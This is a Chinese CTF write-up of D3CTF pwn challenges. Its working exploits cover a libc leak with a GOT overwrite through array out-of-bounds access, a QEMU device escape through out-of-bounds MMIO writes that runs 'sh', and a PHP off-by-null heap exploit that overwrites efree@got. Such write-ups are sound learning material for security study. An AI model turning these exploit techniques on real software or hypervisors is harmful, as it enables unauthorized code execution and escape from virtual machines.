文章目录
- 前言
- note
- write_flag_where【复现】
- D3BabyEscape
- PwnShell
前言
本次比赛笔者就做出两道简单题,但队里师傅太快了,所以也没我啥事。然后 WebPwn
那题命令行通了,但是浏览器不会调试,然后就简单记录一下。
note
- 只开了 NX 和 Canary,所以可以打 got 表
- 数组越界,可上溢、可下溢
- 泄漏 libc_base,然后打 free@got 即可
关键数据结构如下:
exp 如下:
from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''def add(idx, size, data):sl(byte(276))sleep(0.5)sl(byte(idx))sleep(0.5)sl(byte(size))sleep(0.5)sl(data)sleep(1)def show(idx):sl(byte(1300))sleep(0.5)sl(byte(idx))def free(idx):sl(byte(6425))sleep(0.5)sl(byte(idx))sleep(1)def edit(idx, data):sl(byte(2064))sleep(0.5)sl(byte(idx))sleep(0.5)sl(data)#gdb.attach(io, "b *0x401422")add(1, 0x10, b'/bin/sh\x00')
show(-1460)
libc_base = addr8(6) - 0x1d46a0
info("libc_base", libc_base)pay = p64(libc_base+0x1d46a0) + p64(0)*3 + p64(8) + p64(0x404000)
edit(-1460, pay)edit(0, p64(libc_base+libc.sym.system))
free(1)#pause()
#debug()
sh()
write_flag_where【复现】
题目给了源码,程序会先输出 libc_base 地址,然后循环往 libc 代码段写入 flag,这里 flag 的长度是已知的,并且知道其格式为 d3ctf{[a-f0-9]*}
,所以这里往 libc 代码段写入的值就是 [a-f0-9]
,由于其是未知的,所以这里得进行爆破
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>#define FLAG_PREFIX "d3ctf{"
#define FLAG_PREFIX_LENGTH (sizeof(FLAG_PREFIX)-1)
#define FLAG_SUFFIX "}"
#define FLAG_SUFFIX_LENGTH (sizeof(FLAG_SUFFIX)-1)
#define LIBC_NAME "libc"char maps[0x1000], flag[0x100];
uint64_t libc_code_addr_start, libc_code_addr_end;void write_mem(uint64_t addr, uint8_t byte) {int fd = open("/proc/self/mem", O_RDWR);lseek(fd, addr, SEEK_SET);write(fd, &byte, 1);close(fd);
}void init() {setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stderr, NULL, _IONBF, 0);FILE* maps_stream = fopen("/proc/self/maps", "r");int count = 1;char *line = NULL;uint64_t len = 0;uint64_t addr_start = 0, addr_end = 0, offset = 0, major_id = 0, minor_id = 0, inode_id = 0;char mode[0x10], file_path[0x100];memset(mode, 0, sizeof(mode));memset(file_path, 0, sizeof(file_path));while (getline(&line, &len, maps_stream) != -1 ) {sscanf(line,"%lx-%lx%s%lx%lu:%lu%lu%s",&addr_start, &addr_end, mode, &offset,&major_id, &minor_id, &inode_id, file_path);if (count == 10) {libc_code_addr_start = addr_start;libc_code_addr_end = addr_end;break;}count++;}if (line) {printf("%s", line);free(line);}fclose(maps_stream);int fd = open("/flag", O_RDONLY);read(fd, flag, 0x100);close(fd);
}int main(int argc, char *argv[]) {init();uint64_t addr = 0;uint offset = 0;printf("flag: "FLAG_PREFIX"[a-f0-9]{%lu}"FLAG_SUFFIX"\n", strlen(flag) - FLAG_PREFIX_LENGTH - FLAG_SUFFIX_LENGTH);while (scanf("%lu%u", &addr, &offset) == 2) {if (!(libc_code_addr_start <= addr && addr < libc_code_addr_end) ||!(offset >= FLAG_PREFIX_LENGTH && offset < strlen(flag) - FLAG_SUFFIX_LENGTH))break;write_mem(addr, flag[offset]);}return 0;
}
这里主要参考星盟的 wp,具体后面再看看吧(:脑袋有点晕
D3BabyEscape
简单的 qemu 逃逸,题目维护的结构体如下:
其中 content 数组存在越界读写,从而导致可以读写 func 域,func 初始被设置为 rand_r 库函数,所以可以先利用越界读泄漏 libc_base,然后利用越界写修改 func 为 system 地址。而在 l0dev_mmio_write 函数中会调用 func 函数:
这里似乎只能传入 4 字节,所以传入 sh 即可完成逃逸,exp 如下:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/io.h>void *mmio_mem;void mmio_write64(size_t offset, uint64_t value) {*(uint64_t *) (mmio_mem + offset) = value;
}uint64_t mmio_read64(size_t offset) {return *(uint64_t *) (mmio_mem + offset);
}void mmio_init() {int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);mlock(mmio_mem, 0x1000);
}uint32_t pmio_mem;void pmio_write(uint32_t offset, uint32_t value) {outl(value, pmio_mem + offset);
}uint32_t pmio_read(uint32_t offset) {return inl(pmio_mem + offset);
}void pmio_init() {iopl(3);FILE *pmio_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");fscanf(pmio_fd, "%*p%*p%*p%p", &pmio_mem);
}int main() {mmio_init();pmio_init();mmio_write64(128, 28);long long libc_base = mmio_read64(31*8) - 0x46780;long long system = libc_base + 0x50D70;printf("libc_base: %#llx\n", libc_base);mmio_write64(0, 666);pmio_read(0);pmio_write(31*8, system&0xffffffff);pmio_write(31*8+4, (system>>32)&0xffffffff);//char cmd[16] = "/bin/sh\x00";char cmd[16] = "sh\x00";mmio_write64(64, *(long long*)cmd);return 0;
}
PwnShell
phpPwn,一个 off by null 漏洞,然后命令行启动打通了,浏览器不想调了,就这样吧。题目维护的结构体如下:
这里利用 off by null 去进行堆重叠,使得一个 data chunk 和一个 control chunk 重合,这样就可以实现任意地址读写了,泄漏 libc_base 然后覆写 efree@got 即可。这里泄漏 libc 可以直接包含 /proc/self/maps 泄漏,所以关键就是覆写 efree@got 罢了(:
然后打远程是要通过 Apache 的,然而在比赛时,我一直在命令行上调,最后远程一直打不了,给我搞崩溃了(:其实本地通过 Apache 也打不了,最开始调试方向就错了
贴个本地命令行 exp:
<?phpfunction tobytes($integerValue, $byteLength) {$byteString = '';for ($i = 0; $i < $byteLength; $i++) {$byteString .= pack('C',$integerValue & 0xFF);$integerValue >>= 8;}return $byteString;}function get_addr($sss, $llen) {$decimalValue = 0;for ($i = 1; $i <= $llen; $i++) {$char = $sss[-$i];$digit = ord($char);$decimalValue = ($decimalValue << 8) | $digit;}return $decimalValue;}$libc = "";$stack = "";function callback($buffer){global $libc,$stack;$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \[stack\]/';preg_match_all($p, $buffer, $stack);preg_match_all($p1, $buffer, $libc);return "";}ob_start("callback");$a="/proc/self/maps";include($a);$buffer=ob_get_contents();ob_end_flush();callback($buffer);$stack = hexdec($stack[1][0]);$libc_base = hexdec($libc[1][0]);echo dechex($stack);echo "\n";echo dechex($libc_base);echo "\n";addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");editHacker(2, "\x00\x00\x00\x00\x00\x00\x00\x00");addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");$efree = $libc_base - 0x2cf1fc0-8;$system = $libc_base + 0x4c490;echo "PWN\n";editHacker(2, tobytes($efree, 6));editHacker(5, tobytes($system, 8));addHacker("/readflag\x00", "/readflag\x00");removeHacker(7);?>